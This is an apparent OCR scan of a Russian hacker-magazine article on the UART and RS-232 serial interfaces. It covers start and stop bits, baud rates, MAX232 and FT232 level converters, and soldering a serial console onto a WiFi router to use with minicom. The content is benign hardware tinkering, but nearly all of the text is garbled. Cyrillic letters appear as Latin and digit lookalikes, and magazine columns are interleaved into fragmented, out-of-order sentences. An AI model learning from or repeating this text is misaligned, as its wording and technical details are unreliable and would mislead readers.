B 3TOM npOTOKO,'1€ JlOrl1'-leCKI-li1 Hyn b Jle)l(l'IT OT +3 AO + 12
-12, COOTS€TCl"aeHHO. npOM€ ) l(yToK OT ~3AO 1-3
BOJlbT, a eAlAH\1u,a oT~3AO
cpeACTBo Afl~ nepe,n,a'-llil TeJlerpa¢11blx co06UJ,eHl'IVo, l'I pa604l'1x 6l'1T TaM
BOl1bT c4I1TaeTC>l30Hoi:i H€Onpe,ll,eneHHOCTltl. Y'-lTYI, 4TO Bce Hanp>l.:>KeHlA51
6blilO nsnb [KaK B a36yKe Mop3e). ,llil~ nepeAa4l'1l'1cn0J1b308aJ1l'1Cb Me~
yKa3aHbi OTHOCl-1TellbHO Kopnyca KOMnbKHepa, l<111ltl3eMIl~. Tenepb, >l AY
B KOMnblOTepHOM 6,lOKe nlilTaHlASl cy~eCTByeT
xa Hl'IyeCKl'Ie YCTpoVoCTBa. nOTOM n051BI>1Jll'lCb KOMnblOTepbl, Y1 KO,Qbl ASCII.
MaIO, Tbl nOHl-1MaeWb, 3a4€ M
KOTopble nOTpe60eam1 ceMb 611T. B HaLJaile 60-x Ha cMeHy npl1wna BceM
cpa3y ,IlBa Hanp>l>KeHl-1Sl:
113BeCTHaSl8-6V1THaSl Ta6JH11.l<l ACK\t1, l'I TorAa ¢lopMaT nepcAa4l'1 CTaJl
l-lO,ll)lSl pa60Tbi COM~nopTa,
3aHl'IMaTb nOJlHO~eHHbl~ 6aih. flnlOC ynpaBnsuoUJ,l'Ie Tpl'l 6\1T3.
TaKas:l 60f1bWall aMnmny,ll,a pa604lAX HanpSl)l(eH')Iiii, l.\eilblX
819'71 rOAY, KorAa y)l(e Ha4aJlc516YM MIilKpocxeM. rOPAOH 5eJlJl All51
HylKHa 8 nepsylO 04epe,Qb ,Iln>lIlOM€XOYCToi1YL-1BOCTlA J1lAHl-1i:i CBSl3l'1, no
KOMn blOTepOB PDP ¢;l'I pMbl Western Digital WD1402A.
cAenan Ml'IKpocxeMy UART
npl'lMepHO B Hayane 80~x ¢llAPMO~ National Semiconductor
6blJl C03AaH Yl'In 8520. B 90-e 6blJl nplAAyMaH 6y¢>ep K l'IHTep¢lei1cy. 4TO
-1211 + 12 SOflbT. OHl'I 6blllV1
BBeAeHbl cnelJ,l'IaJlb
24
BOJlbTa,
CTaH,ll,apTy, ,D,lll'lHa Ka6eJlSl, no KOTOpCMyy Hac oeralCT AaHHble, MO>KeT 6blTb
15 M. XOHI Ha
Ha npaKTlAKe JlIOAltl yMy.op>l!1Io1Cb 3aCTaBMlTb era pa60TaTbAa)l(e
25 M.
3neKTp\4LJ€CKIo1€
KOTOpa>l OTill'l43eT ero OT ,Qpyrl-1x npOTOKOJlOB ceMe;;'CTBa UART.
i:l
C1>~3~KA~HTEPCI>EI1CA
napaMeTpbl RS-232 -
3TO rnaSHa~ x:apaKTep~CT\1 Ka,
n03BOJllilflO nepe,QasaTb AaHHbie H<:l 60ilee BblCOKl'IX CKOpOCT>lX. 3TOT l-1HTep¢lei1c, He npeTepnes npaKTI>1LJeCKVl Hl-1KaK.!'1X l'I3MeHeHl-1L11, .o.0lLlen l'I AO HaWl'IXAHeVi
I
D<Jtal. a nopT RXD
Oatal- npl-1HlAMalOtu,a~,
AeHb ~lil3lilYeCK""i1 npOTOKOJl nepeAa41i1 AaHHbIX.
ceMelllCTBa UART npoToKoll R5-2321B HapoAe - COM-nopT, TOT caMblii
1:'
RXD l'I TXO, lAlllo1 npoCTo RX ltl TX_
nepeAalOUJ,Cl>lllIo1Hltl>l - TXO (Transmitted
CfleAYKJ~~e Xap3KTeplilCTlilKl-'1 -
AaHHblX -
¢OPM3T nOCblllKL-1 ~ CKOpOCTb nepeAa4l'1
nOnHOCTl>1O npl'lMeHI>1Mbl KO sceM Bl-1A8M UART \1 o6ecneLJl'Isa
lOT l'IX COBMeCTI<1MOCTb Yepe3 HeCIlO>l<Hble cxeMbl
ConpSl)l(eH~Sl.
I..1T06bl nOHsHb, 4TO POAHlAT lA OTillAyaeT pa3Hbie UART -Io1HTep¢ei1cbl,
eTa H,QapTH3Sl nOCblllKa 3ClHlAMaeT 10 61>1T Ho n paslA!1o 3TO pacn pOCTpa
pa36cpeM nplilHlJ,lAn pa60Tbi caMoro nony!151pHoro lA JlI06l'1MOrO HaMIil
HReTCSl TOllbKO Ha cTaHAaprH ble HaCTpO~KI>1 COM - nopTe.
npoToKona RS~232. AOTOWHO pacnlo1cblBaTb ace TOHKOCTlA era pa60Tbi >l He
era MO.>KHO nepeHaCTpOl'lTb TaK, L-Ho6bl OH Aa)l(e l-1HTep¢eCic One-Wire
8
nplo1HL\lo1ne,
0YAY. 06 3rOM HanltlCaH Hltl 0AV1H AeGITOK Mera6<J(1r crarei:i, l-1 eCJll-1 Tbl YMe~
nOHlAMaJl.
eWb nOllb30BaTbC>l ryrnoM, TO 6e3 np06neM Hal4AeWb BCIO H€o6xOAltlMYIO
OHa HaXO,ll,l-1TCSl 6 COCTO>lHl-1101 JlOrIo14eCKO~ e,QVlHltllJ,bl, lilJlI'1-12 BO!1bT. Ha'-la
l'IHcPopMau,l'IlO. Ho OCHOBbl >l paCCKa>t<y, 6fla ro, C HIo1Ml'I MO)l(HO y>Ke KpyrO
no nepe,D,a4l'1 0603H34alOT nepeAa4ei1 CTapTosDro 6lA,a, KOTOpol11 BcerAa
aceM pyfllATb, a BCRKlo1e ¢IIlWKlo1lACnOJlb3YlOTCH OyeHb peAKO.
paseH HynlO, 3aTeM I1AeT nepe,lJ.aLJa BOCbMl-16l-1T ,QaHHbIX. 3asepwaeT
~
114
B pe%l-1Me npoCTOSl, KOrAl?
no !1lt1HlAl-1 Hl'I4erO
He nepeAaeTCR,
XAKEP 05/1251 09
CHrHAflUARTHA3KPAHEOC~HflflorPA~A.BHAEH
ClAPT EiHT.AAHHbIE H ClonoBbl1it EiHT PAcnA5IHHbllit HYflb-MOAEM
BCKPblTbl1it POYTEP. HrOflKH Y>KE PACnMIHbl
npOBEPKA PAEiOTbl-flOr3ArpY3KH L1NUX B npo rPAMME MINICOM f.:l CKOPOCTb PA60Tbi Aa:Ke eCJ1I.1 1e6e paHbwe Hlt1KOrAa He npl-1XOj:\IM10Cb pa60r8Tb c COM-nop
j
TOM,
no KpaiiiHeill Mepe, 8 MOAeMe Tbl AOJl;tCeH 3HaTb HOMl-1HanbHble (KOpaCHi
pa6oTbl: 9600, 28800, 33600. 56000
VI T.n. CKOJlbKO
61'11 B ceKyH.llYy6eraer 1-13
H8wefO nopn? BOT cMorplll •.QonYCTl>1M, CKOpoCTb y Hac 9600 61011 3TO 03HaY3eT, '-ITO nepeAa4a O,[lHOro 6\1Ta 6y.a.en3HI1MuTb a nepecblflK3 6ai1Ta -
11/9600.
B
ceKyH,IJ,y.
1/9600 ceKyl-',Qbl,
V1 T3K3}l CKOPOCTb,[lllR 6ai:1T3 BepH3 TOllbKO
B cflyyae, eCllM CTon-6MT 6YAeT 3aHMM3Tb OA\1H 6111T, Hlo1M3et ,QBa CTon-6\1Ta, TO nepeA343 6YAeT
B(nyu.ae, eCIlIII OH 3a
12/9600. 3TO C8\'133HO CreM, '-ITO
BMeCTe C 6lo1T3MVl AaHHblX nepeA310TcR ew,e cneUltlallbHbJe 6\1Tbl: CTapT, CTon \1 6Io1T'-IeTHOCH1, JlIo1Heiha CKopoCTei:1 COM-nopT3 CTaH,ll.apT\13\1pOa3Ha, KaK np3a\1f10, ace yCTPOl7iCTS3 pa60T31OT Ha TpP.X CT3HAapTHblX eKopoeTs<x:
19200, 115200, Ho B03MO>KHbI APyr\1e nOCblJlKY
6.-,r 4eTHOCH11'1 CTOnOBbliii 6V1l. 5YlT yeTHOCTl.1 ocyw.eCTSJls:l 6..,r rOBOpl1T HaM, 'lTD
e1 npOSepKY nepe,qaHHblX A3HHbIX. CTSpTOBbil.1
nepeCblJlK8 fJ.aHH b1X 3a SepWel-l8. 3SHli1MaTb
HaJ\o OTMenHb.
1, 1.5, >1 2 61:118. He (101111 .llYMaTb.
4TO
9600,
aap\1aHTbl, ,Qa)Ke \1(rlOllb30BaH\1e
HecT3HAapTHbix cKopoCTei1lAllltl cKopocn1, MeH>1K)l.L\ei1CI'l BO BpeMeHlo1, -
C
3T\1M fl CTal1K\1B31lC" np\1 p3360pe nOJleTOB OL.fepetJ,Horo YCTPO~CT83_
STOP-6\1lT MO>KeT
"lTO 310 APo6Hbie 6V1Tbl, 310
f.:l
TAKOIII PA3Hbllll npOTOKOIl
~l-1CJlO rOBOplilT TOJlbKO 0 ere ,lJ,J1l/neJlbHOCH1. CronoBbliil6l.1r. KaK V1 crapro
Bl.1AOB
Bbli1, paseH HyJlIO.
\1X H3\1MeHOS3HltlR, 10160, eCll\1 Tbl B1l3AeeWb 3Hrf1\1i:1CKltlM, TO CYM€eWb \1
XAKEP 05/1251 09
UART eyw.eeT8yeT 8 €J1I.1Koe MHO)KeCTBO. s:l He 6yIJ..Y nepe4\1CllRTb
~
115
»
phreaking
~~~~~~~~~~~~~~
pa60Tbi Tpe6yeicSl 4elblpe KOH,ll,eHcaTopa OT
O. i
MV1Kpo¢apa
Abl ,0,0 4 MI-1Kpo¢>apaA t.1 nVlTaHt.1e 5 80f1bT. Y,D,It1Bt.1TenbHO, '-ITO
i
-'\r
3T3 Mt.1KpOCXeMa V13
-'\r
BOCCTAHOBJlEH~E
CYLLlecTsYIOT MVlKpocxeMbi conp5l>KeHVlR USB c UART, Hanp\ll
>KECTK~XA~CKOB
Mep, Mt.1 KpocxeMa f1232rl. B Ubuntu AJlSl 3T0l1 MI-1KpOCXeMbl
~~~~~~~~~~~~~~ He raKAaSHO B npecce, B TOM YIKJ1e, Ha CTpaH~l.l,aX Hawero )l(ypHana,
•'I
npo6era
5 BOIlbT reHept.1pyeT oTpVl~aTeJ1bHOeHa~
np5l>KeH\Ile, 4T06bl conp~raTb 5-S0flbTOBbll1 UART c RS-232.
y)l(e BCTpoeHbl ,ll,pa~BepCl. AnR Wi ndows!.1x npt.1AeTeR KaY<lTb C O¢lVll\V1allbHOro caCiTa. nOcJle yCTal-:oeK~ .Qpat1aepos B CI-1C TeMe nOSlBlo1TcRBl1pTyallbHblt1 COM-nopT, V1 C HVIM y:.<e MO)l(HO
eyer annapaTHoe <popMan"poeaHlIIe.
PYJll.1Tb pa3Jl\>l4HblMltl YCTpoCicT8aMt.1. CoseTylO He npVll1t.1MaTb
ECJll.1 nOMHI.1Wb MOIO CT3TblO 0 M3rHI1T
:;lTVI MV1KpocxeMbI, KaK e,Qt.1HCieeHf-;O S03MO)l(H~e. Ha Hj:\eTeR
1Ia ~H<I)QpMaL"'1Sl0 CneTaH1111 npOWIo1BOK
HOM yHVI"ITO>KeHVIVI AaHHblX, 3Ta <VVI"Ia
rpOMa,QHoe KOllltlyeCTSO GOllee ,ll,eWeBblX t.1 VlHTepeCHblX
Y>KeCTKI1X Alo1CKOB ceMe~CTBa
npVlAeTCSl Te6e no SKYCY. Cyrb TaKosa:
aHanoros, noceMy HaCeAaL1 Ha ryrJl VI noL:iMeWb. 'ITO Ml-lp
Ho, OKa3b1BaeTCfI, nocne Kpaxa >KeCT
eCllV1 AaTb Ha xapA TaKylO KOMaHAY VI TYT
UARTa -
Koro Alo1CKa era MO>KHO BOCCTaHOBI1Tb.
HeO>KVlAaHHO py6aHyr nVlTaHVle, TO BVlHT
B l.(eflOM, Mt.1KpOeXeMbl CTO"T MOCTaTO"lHOAOpOrO 11 nopoVi
Segate.
3TO KpyTOI
Y MHon1X >KeCTKItIX AI1CKOB CYll.I.eCT
6YAeT Aoq,opMaTVIpoeaH npVl clleAYIO
MO::t:HO o50ViTVlCb 60Jlee CflO>KHbl MVI, 60Jlee ,D,eWeSbIMVI cxe
eyer ltIHTepq,eikHbll1 pa3beM UART.
Ul,eM BKlllO"IeHVlVI. 3TO 03Ha"laeT, "ITO,
MaMli1 Ha nape TpaH3t.1CTOpOB
4epe3 Hero B03MO)f(HO 3am1Tb CBe>KylO
eCl1l1 K Te6e HaneTenl1 MacKI1-woy VI
npowIo18Ky B KOHTpOJlnep BI1HTa iii He
3a6palllil BlilHT, -
nOTepRTb I1H<popMaLl,1II1O Ha )l(eCTKOM
CSl y>Ke y HlIlX. npl1 nOAa4€ nVlTaH"'R. 1-1
KaK Tbl nOHRJl, liIHTep¢eL:ic
,QI1CKe. MaHyall Jle)tO'!T Ha HaweM DVD.
HeA06po>KenaTellSlM OCTaHeTCSl TOllbKO
YCTpOHCTBax, B KOTOpblX CTOItiT K3K0I1-nt.160 npOlleccop V1f1101
Y HeKoTopblX >t<eCTK\tlX ,QIiICKOB cYLlIeCT-
>KeSaTbconl1"'.
OH Aoq,opMaTl1pyeT
fll
4TO HAM 3TO AAET? UART nplt1cyrCTByeT BO MHorlo1X
KOHlpOJlllep. $=I Aa::t<e 60f1bWe CKa>Ky; eCJlv, TaM CT0l11 KOHTPOfl Jlep. TO fOapT eCTb CTonYJ\OBO [TO.nbKO OH He BcerAa MO)l(eT I-1C
€)
, dvd
catA HaryrllLHb. Ho caMble OCHOBHble He OTMeTIt1Tb Hel1b3Sl) Ha nOMHIO. "ITO rllaSHOi? OTflVl"l\>le VlHTep¢>e~COB COCTOVIT B cpeAe VI cnoco6e nepeJ\ayltl ,o,aHHbIX, ,[laHHble MOryT nepe,q3S3TbCR ,o,Cl>Ke flO onT060110KHY. BTopo~ no pacnpoCTp3HeHHOCTltlltlHTep<pe~c n ocne RS-232
- :;no RS~485, OH Sl8JlSleTC9I npOMblWJleHHblM cT3HAapToM,
Ha AI1CKe Te6f1 )K,[IyT
l.1 nepeA3Ya B HeM OCYll.(eCTSJlSleTCSl no BmOI1 nape. "ITO AaeT
ABa pOJH1Ka, AeMQIIC
eMy Henll0XylO nOMexoYCT0I14l.1S0CTb VI nOBblweHHYIO CKOpOCTb
TPlo1pYKlLl.(I1€ pa60ry 4YAo-p,esai:!ca.
AOCTlo1raTb 1 KM. KaK npaslMlo. OH lIlcnollb3yeTcSl Ha 33S0,ll,3X
nepe,o,ayVi ,0,0 4 Mera6:.1T B C8KYHp,y. AJlVlHa npoBoAa TyT MO>KeT
,nJlSl ynpaSJleHlIlSl pa31lblMVI CTaHKaMI-1. HaAo CKa33Tb, "ITO IRDA. I-1Jl>1 t.1Hq,paKpaCHClR CBSl3b, KOTO pClR BCTpoeHa S 60JlbWI-1HCTBO TeJle¢!OHOB li1 Kn K, TO>Ke, no cyrl.1, SlBJl~eTCR UARTOM. TOflbKO AaHHbie nepeAalOTcSl He no npOBO,ll,aM, a c nOMOUl,blO VlH¢paKpacHora lo13JlyyeHVlR. B SMART-KapTax K3pTblJ -
links dlin'1Llivf;Journalcom
~
151M, cnyrHt.1K080e TEfleSI-1,D,eHb€, 6aHKOBCKIo1e
Tex C3MbiX YCTP0l1CTB3X, KOlopble M€'H3eTnOXa"lt.11b
Ka>KAbli:i yS3)1(dlOUl,li111 ce6" .:ppt.1K€P - TO>Ke t.1CnOJlb3yeTcR Haw JlI06V1Mbll1 UART. npaSAa. TaM nOfly,D,ynneKCHaSl nepe,D,34a AaH~
CYTCTBYET BO MHOr~X YCTPO~CTBAX, BKOTO PblX CTO~T KAKO~-Jl~50 npOUECCOP ~Jl~ KOHT POllllEP. 51 AA>KE 5011bWE CKA>KY: ECll~ TAM CTO~T KOHTPOJlllEP, TO KlAPT ECTb CTOnYAOBO»
5 BOJlbT. BblrJl",ll,V1T
- Moi16J1or, rAe Tbl
HbiX. l>1 flOrt.1Ka pa60Tbi MO>KeT 6blTb 1,8/3,3 VI
MO)t(eWb yBl'1,[1eTb pa3
TaK, 6YATO RX 3ana"H C TX Ha OAHOM V1 Ha MyroM KOHLte -
JH11.1Hble nOAellKl-1.
pe3yflblaTe, OA\o\H nepej:\aeT, .apyro~ B 3TOT MQMeHTcnywaeT, lt1
«~HTEP~E~CUARTnp~
B
Ha060poT. 3'To perfl3MeHTt.1pOSaHO CTaH,D,apTOM cMapT-KapT.
TaK Mbl T04HO 3H3eM. CKOJlbKO 6al1T nowneM, 101 CKOflbKO OTEleTIo1T Kapl04Ka. T8Ma jJ,oCToCiI-lCl oTAeflbHoCi CT3Tbt.1.
Bo6w,eM, 33nOM
Hl<1, UART eCTb nO'-lTt.1 ee3,l],e.
nOflb30saTbCR) KaK npaSV1IlO. no 3TOMy L-1HTepq,eiky lilAeT Ha na,o,Ka 11 npOlJepK<l pa60Tocncco6Hocnl AeSCl~ca, 3aYacTylO np0V13BO,ll,Io1TeJlb YMaJlYliIsaeT 0 Haf1t.141ott.1 ~lToro lo1HTep¢eL:ica S 1iI3Aenlellll, HO Ha~nl ero HeCJlO>KHO: ,o,OCTaTOYI-IO CKa4aTb MCl HyaJl Ha npo~eccop V1, rAe HaxO,ll,ItITCR tOapT, Tbl 6YJ\eWb3HaTb nocne 10ro. KaK Tbl nOflY4V1wb q,t.13I1yeCKI1i1 ,ll,ocTyn K )I(elle 3"Ke no HaWet.1y t.1HTep¢ei1cy, MO>KHO era HaCTp0ltlTb Ha CBoe
fll COnpS'!>KEHIi1E Ii1HTEP<IlEIilCOB 51 y>Ke r'n33a H3M030JHlfl pa3HblMVI VlHTep¢leikaMt.1, HO
yCMoTpeHVle t.1111ot Aa)Ke 3aCT3BlIlTb pa60Talb TaK, Ka K Ha,ll,D KaK
Te6e. a He K3K 3aAYMaJl np0I13BO,ll,lIlT811b. B o6w,eM, -
Bbl>KaTb
C Hli1Mt.1 pa60T3Tb-TO? Hy. C 06blYHbiM RS-232 nOHI1THO, a,
MaKcVlMYt.1 S03MO>KHOCTeCi
AonyCT\o\M. C 5-BOflbT06bIM lOapTOM KaK 6b1Tb? Bce npocTo:
pOM noclly>KaT CTaTbl-1 Di Halla «AJlt.1HHal1 pyKa KOI-npollR»
cyw,ecTsyKH pa3f1V\4Hble rOTOBbie Mt.1KpOCXeM bl -
#1071
npe06
pa30S3Tent.1. KaK npa13V1JlO, 8 M3pKt.1pOBKe OHI-1 cO,ll,~p)l(aT
VI «M06V111bHoe 3flO»
VI)
eKpoMHorc ,o,esaiAca. npt.1Me
[I
lI#l 1 OJ. 3HaHI1e 3Toro npoTOKo
.na /.1aeT TaK>Ke S03MO>KHOCTb nO,D,CllywaTb. 410 >Ke TBOpltlTCR
LtIol¢Pbl «232». Y8t.1AeJl B cxeMe MIolKPYXYC3TVlMIol ~VI.:pVlP>lMt.1
B llt.1Ht.-lSlX 06MeHa Me>KAY pa3Ilt.1'-1HbiMV'l npo!..(eccopaMVI, TaK
-
KaK
6YAb ysepeH: CKopee Bcero, 3TO npeo6pa30B3Teflb. Yepe3
4auo npOltl3BO,[l,VlTellVi opraH~3YfOT u,eJlble lOapT-ceTVI
B
T3KIote MVlKpocxeMbl C He60flbWVlM 0681130M lot conpRralOTC"
cBoeMycTpoVicTse. B o6w,eM, npt.1,'v1eHeHVlL:i MHoro. rJl2SHOe
Bee VlHTep¢leCicbl UART. $=I He 6YAY paccKa3bl BaTb 0 npOMblW
VlHTYVlTVlBHO nOHVlt.1aTb. KaK 3TO AellaTb.
JlCHHblX t.1HTep¢>eI1C3X, a CK3>KY 0 Tex npeo6pa3083Tellj:lX,
fll
K010Pbl€ V\HTepecylOT Hac B nepBylO oYepeAb. CaMblii Vl3BC'CTHl>lCi npeo6pa30B3Tef1b VlHTep$e.:tca -
3TO
Mt.1KpoeXeM3, pa3pa60TaHH3R¢>Io\PM0I1 MAXIM, KOlopa" lei
II III
·1
nOJlY4V1Jla OT Hee 4aCTb CBoero Ha3S3HV111 !max2321.
~ 116
Ans:l ee
XA41i1M T04KY AOCTynA
HaMeAHt151 HaMyTV1fl ce6e WiFi-poyiep WL-520GU t.1, np04t.1TaS CTaTblO Step' 2 «Level-up ,Qfl>l TOYKlIl ,D,ocryna» I I
#1061. ycnewHo YCT<lH08V111 TYA2
Unux. Ho y MeH>l B03HVlK
XAKEP 05 /125/ 09
, C06PAHHbll1 \Il YCTAHOBllEHHbl11 nPE06PA30BA TEllb \IlHTEPCilEI1CA
nOllHO~EHHbll1 ll\llHYKCOBbl11 KOMn (CO CBOEI1 APX\IlTEKTYPOI1)
nOCllEAH\IlE WTP\IlX\Il- 3AnA\IlBAEM PA3bEM
J1111 np06,neMbl C MOHTlIIpOeaHV;€M swap- pa3AeJl3 )KeCTKOrO )J,lt1CKa.
TaK
CnO)KHOM AMI nai1KIiI Kopnyce, noceMy Mbl norOBOpl-1M 0 60llee npocTblX
nORBl-1naCb Heo5xOAl-1MOCTb ilOCMOTpeTb nor 3arpY3KlII TO~KI1 ,aocryna
peWeHI1>lx. A Io1MeHHO -
nOAMOHTl1pOaaJlCSl pa3.n,eJll-1Jl III Her -
nl.1TaTbC>l OT poyrepa, TO T3M, CKopee acero, 6y,[lCT 3.3 SOJ1bTi3, n03ToMY
nplo14eM, Ka K rOBOplt1TCSl. Hi! n€ry.
'-\To6~ cpa3Y BHOCIi1Tb Heo6xo)),lIIMb'.e ltI3M€HeH\-1A. WeCTblM "lySCT60M Sl
MI1 KpocxeMe MAX232. ECfll1 Tbl c06J.1paeWbC>l
J1Y4we Lo1Cn0J1b30BaTb MAX3232, KOTOpa>l 06bl'-lHO CTOlilT B KnK !cxeMy
nOl103pea8Jl, "ITO B MoeM pOYTepe npoCTO 06,133H 6blTb UART 51 83>1J18
p3Cna~Kltl HeTpyAHo Ha~TLo1 B l-1HeTe], Ho B MoeM pOyTepe npLo1cyTcTsoBa
PYKIo1 KpeCTOSYKl OTsepTKy 101 HaYiln era pa36lo1paTb. AeJlo rp1ll8l13nbHOe,
110 nLo1TaH>1e
HO C 38K013bl pKOi1 -
MHO>KeCTBO. 101l'l He CTi:lJ13aMOp31..1l-1BaTbCl'l.
HO%K3M III
nora(:1Hble Bl1HTlII Xlii HaXOA51TCSl no,o, pe3l11HOBbiMlil
lecflL1 peWltlWb n08TopV,Tb,
nOMHI-1, '-ITO nplll pa360pe Tbi IlI'1wa
+5
BOJlbT Ha sXOAe, a YKa33HHbiX MI-1KpOCXeM y MeHS'l aeJlJ.1KOe
An" C60PKl1 HaM nOTpe6ylOT
C>l KOHAeHcaTopbl 0, 1 MKCD [4 WryKLo1) 101 caM3 M>1KpOCxeMa. 3anal1SaeM
eWhCI'l rapaHHll11l. MoeMy 830py npeAcrana p,ocraro4HO CKy4Ha" nJl3Ta,
Bce no Tpa,(llill(110H HO~ cxeMe, 101 Hal..fl1HaeM 3Kcnep\llMeHTbl
rAe Bce «chip-in-one»: 0AlIIH u.eHTpaJlbHbl~ npou,eccop, B KOTOpbli:1
Ha BbIX0.o. 11 cpa3y nOBeCIo1Jl9-nl-1HOBbl~pa3beMT\Ilna «nana'l, ~To6!:::o1
BKJ1104eHO Bee, BHeWHIHI onepan1S8, ¢n€wa, npeo6pa30S3Tel1b nl-1Ta
MO>KHO 601110 Jlenco nOAKIlI04l1Tb HYJlb-Mo,o,eMHbli-l Ka6el1b, ECIll-1 Tbl
Hl-1~ 1'\ P>l.o.OK paJbeMOS C KHonKaMLo1, He Ha onare 6blJla HepaCnal'lHHal'l
KOHTa KTH85l nJlOUJ,a,[l,KCl, T04Hee CK333Tb. OTBepCTl-1l'l no,Q l-1 rOil KIo1.
l-1x 6b11l0
nOMHL-1Wb, so BpeMeHa DOSa Ta K\.1M 101 Ka6eM1M>1 /l,enaJ1101 ceTl(y 1013 ,D,syx KOMnOB 101 pe33nLo1Cb B «.o.iOKHIOKeM». npOBOA AMI HaWIiIX ueJlei-l co6paTb
4eTbipe WTyKIiI. BOT OH UART, :no 04eSIo1,QHO! no nnaTe ,Qa:.::e 6e3 MynbTLol
HeCJlO>KHO. npaS,D,a, nOJly'-lItlTCl'l He nOflHblM HyJ1b-Mo,o,eM III '-Iepe3 Hero
MeTpa BIo1,QHO, "fTO Kp3~Hl-1e l-1 ron Klil ~ 3TO .. 3,3 BOllbT3 101 STOpOi1 ~ 3eMJ1R,
oc060 He nO\l1rpaeWb. HO PYJllilTb T04KOM Aocryna 6YAeT caMoe TO! Te6e
CpeAHLo1e KOHTaKTbl, COOTBeTCTBeHHO,
RX \11 TX.
KaKoi1Lo13 Hl-1X 'ITO. nerKO
YCTaHaBJ1l-18;:;1eTCR MeTOJl,OM HaY4Horo TblK3 lcnallLo1Tb t1HTep¢e~c 04eHb np0611eM3TLo14HOI. Cpa3y X04Y omeTl-1Tb. '-ITO Lo1HTep¢e~c UART 8 K3)1<AOM pOyTepe 13blrJlRALo1T no-pa3HOMY.
B 60flbWIo1HCTBC Cl1Y4aes, :no Hepacna
nOHa,l:\o6>lTC>l ABa 9-nLo1HOBbIX pa3beMa Tlilna «MaMa», KOpnyca K HliIM iii np080A, HanpltlMep. aT CTapo~ MblWKLo1lo1nlo1 KJlaBbl [rna SHoe, I..IT06bl B HeM 6blno Tplo1 npOBO,1\al. CHayall3 COeJl,Lo1H>leM 3eMJH1 ~- 3TO nl'lTbiM KOHTaKT pa3beMOS, npOCTO 6epeM m060M npoBoA l1 C 060Lo1X CTOpOH npl1nal-1BaeM
>lHHble OTBepCfLo1l'l Ha nnaTe. np3SA3, B OAHOM poyrepe OT ASUS >l ,D,a>t<e
K 5- My KOHTa KTy. A BOT C RX 101 TX Ha.o.o nocrynLo1Tb xliITpee.
scrpeTliln nOJ1HOCTblO nOAnI-1CaHHbl!4 pa3beM.
npoBoAa 3anal-1BaeM Ha 3-i1 KOHTaKT, a C ,D,pyroro -
a C06HPAEM nPE06PA30BATEIlb
,D,pyroro -
'-lro6b1 nO,D,KJl10'" l'1Tb poyrep K KOMny, He06xO,D,\I1MO Cenp5l4b l-1HTep4>ei1cbI
3<lna~HHble pa3beMbl8 Kopnyc -
C O,O,HOro KOHLI,a
Ha 2-i1, AH3florlo14Ho c
TpeTb\1M npOBO)l.OM, TOflbKO c O.QHoro KOHlla 3anal-1BaeM Ha 2-M KOHTan, C
RS-232 c UARToM poyTepa.
B npLo1HLI,Lo1ne,
MO>KHO nOAKJlIO ... Io1Tb K USB,
Ha 3-i-l. CYTb B TOM, "ITO TX Jl,OJ1)1(eH nepeAaBaTb B RX. npl'lCICM 101 rOTOS HYJ1b-MOAeMHbl~ Ka6e.nb l
An>l YAo6CTBa MOHr3:.::a S MaTepl-1 HKy poyTepa 1'1 snal'lfl WTbl PbKOBbl~
Lo1cnOflb3Y5l yKa3aHHylO Bblwe MHKpocxeMy FT232RL, -
'-ITO 11 L-1 CAenafl
paJbeM, a S MOHTa)l<KY C MAX232 -
nplil nepsoCt n posepKe poyrepa. H 0 3Ta MLo1KpocxeM3 -
B AOCT3TO'-lHO
KaK B C110T. RX \1 TX poyrepa nOA6HpalOTCR 3Kcnepl-1MeHTaJlbHo.
XAKEP 05/125/ 09
06paTHbiM pa3beM L-1 BCTaBltlJl nJlaTKY,
~
117
>> phr€'aking
TIIT"bI V3I anl1
'4TO
Ha40 nCI1HI1Malb
T1
\
ST
12
T2
12
12
12
12
12
PfffD2f'fF ,
s
SP
7
nepeAa'la 6aiila 11101101
YCTPOIilCTBA, ~CnOJlb3YIOLl.I~E UART Jlor 3ArpY3K~JI~HYKCAHA 3KPAHE KnK
-~~~~~~~~;;-;~~~~-;.;;~~~~-~~~;~-;
_-_
-j
~-~-_
===
I---;::i::
cTapblx Mo6l1n, BpoAe Siemens x45
I
•
Tenepb H3,D,O 3arH1TaTb MVlKpocxeMy npeo6pa30e3Teml. 06w,1>1 ~ npOBO,D,
'! Hac nplt1cyT"CTByeT y)+(e npRMO B pa3beMe Ha M3MKe poyrepa. A BOT + 5 BOl1bT HaXO.£\lt1TCs:l npRMO y 8XOAa nvn3HliR poyrepa. B MeeTe, rAe nOAK11IO 43CTCfl aAamep.
TO"lKY HaXO)l(AeHltlS'l 5 Bonbl onpeAefls:leM
BOllbTMeTpOM,
liI3Me?5111 pa3HbleY3J1bl OTHOC\<1TeflbHQ 38M1111 pOYTepa. nO,l:\KllIOl.laeM nlInaHVoe,
B Kll104aeM
H Ha'lIilHaeM HaWlII 3J10CTHble
3Kcne
pl.1MeHTbl.
if:!
HY)l(HQ HaCTp0l.1Tb TepMltlHaJlbHyfO
.'" ~
HACTPolilKA TEPMIo1HAJlA
HaM
.. ,.
nporpaMMY.
B BVlH.oe Bce AOCTa
Hyper Terminal. OTKIl104aeM nporpaMMHYIO Vl annapaTHylO npoeepKy AaHHbIX, BblCT3SflReM CKOpOCTb 115200 l.1 O,Q!t1H CTOnOBbll4 6141. A BOT B n""Hyxe .0.8110 06C101'11 4yTb xlilTpee. Y MeHR Ubunlu, ~1 paco::a3blBaTb 6yAY npo Hee. AnA Ha"lana pa36ep>1Cb. KaK 8 TBoelii C60pKC lJ1MeHyeTC>1 COJ-.-1-nopT. B MoeM cJly"lae COMl 6bln tlySO leCfH1 T04HQ npacIO: 3anycKaeM
I1Cn0J1b30SaTb K npl1Mepy MI1KpocxeMY FT232, TO OH 6y,oeT t-lMeHOS<lTbCR
<>.
:E
o
U
------------_._---------------_._------- ... ----- .... _-_._ ..... -.... _...' CXEMACOnp5l)KEH~H ~HTEP<I>EIiICOB
ltyUSBOI..QJHl pa50Tbl C HI1M R I1cn0l1b30Bal1 COepTI1HKY minicom. 3anycKafj ee c napaMeTpaMlJ1: minicom -l-8 -c on -s. AaJ1ee BbI6l-1pai1
mABTOHOMHOEnJlABAHbE
«HacTpoi1Kl-1 nOC,1eAOBaTeJlbHOrO nopTa»:
CorJlaCl.1Cb, j:\enaTb Yepe3 TepMI1HarlbHYIO nporpa MMy TO >Ke C3MOe,
SSH -
He a~c. MHe XOTeJlOCb npeBpaHHb
nOcne;:WBaTeJlbHbll1 nopT /dev/ttySO
4TO y,!l,06Hee C)J.enaTb 4epe3
CKOpocTb/ ...eTHOCTb/6w't'bt 115200 aNI
